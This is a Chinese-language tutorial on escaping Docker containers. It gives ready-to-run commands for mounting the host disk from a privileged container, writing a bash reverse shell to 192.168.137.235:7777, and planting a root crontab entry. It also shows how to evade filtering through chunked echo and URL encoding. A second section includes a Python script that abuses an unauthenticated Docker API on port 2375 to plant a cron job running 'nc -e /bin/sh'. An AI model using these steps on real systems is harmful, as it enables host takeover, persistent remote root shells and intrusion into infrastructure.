使用特权模式启动容器的docker逃逸方法
使用特权模式启动镜像
1
| docker run -it --privileged 2c047404e52d /bin/bash
|
考虑到部署环境时大多使用vulhub的镜像,所以这里给出修正方案是在docker-compose.yml文件中添加一个字段,如下:
修改完成后执行如下命令启动:
通过漏洞利用拿到docker 容器的shell后:
查看磁盘文件:fdisk -l
从返回结果来看sda1、sda2、sda5在/dev目录下。
新建一个目录/test,将/dev/sda5挂载到新建的目录下,并查看test目录下的内容,发现可以访问宿主机上/目录下的内容了
1 2
| mkdir ./test mount /dev/sda5 ./test
|
将反弹shell的命令写成一个脚本crontabshell存在/tmp下面
1 2 3 4 5 6 7
| touch ./test/tmp/crontabshell
echo "#!/bin/bash" > ./test/tmp/crontabshell echo "bash -i >& /dev/tcp/192.168.20.133/8888 0>&1 &" >> ./test/tmp/crontabshell
chmod 755 ./test/tmp/crontabshell
|
==可能遇到的问题==
1 2 3 4 5 6 7 8 9 10 11 12 13
| #当命令执行有长度限制时,解决办法如下: echo "#!/bin/bash" >> ./test/tmp/crontabshell echo -n "bash -i " >> ./test/tmp/crontabshell echo -n "bash -i " >> ./test/tmp/crontabshell echo -n ">& /dev/" >> ./test/tmp/crontabshell echo -n "tcp/192." >> ./test/tmp/crontabshell echo -n "168.137." >> ./test/tmp/crontabshell echo -n "235/7777" >> ./test/tmp/crontabshell echo -n " 0>&1 &" >> ./test/tmp/crontabshell #如果遇到& >等特殊符号写不进去可以尝试编码之后再写,如下: touch ./test/tmp/crontabshell echo "#!/bin/bash" > ./test/tmp/crontabshell echo "bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.137.235%2F7777%200%3E%261%20%26" >> ./test/tmp/crontabshell
|
在系统计划任务里写入执行脚本的定时任务:
1 2 3
| echo "*/1 * * * * root /tmp/crontabshell" >> ./test/etc/crontab
echo "*%2F1%20*%20*%20*%20*%20root%20%2Ftmp%2Fcrontabshell" >> ./test/etc/crontab
|
在攻击机上开启netcat监听7777端口,成功接收到宿主主机的Shell,实现Docker逃逸。
docker daemon api 未授权访问
访问your-ip:2375/version验证是否搭建成功
利用脚本
1 2 3 4
| import docker
client = docker.DockerClient(base_url='http://192.168.11.160:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.11.1 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
|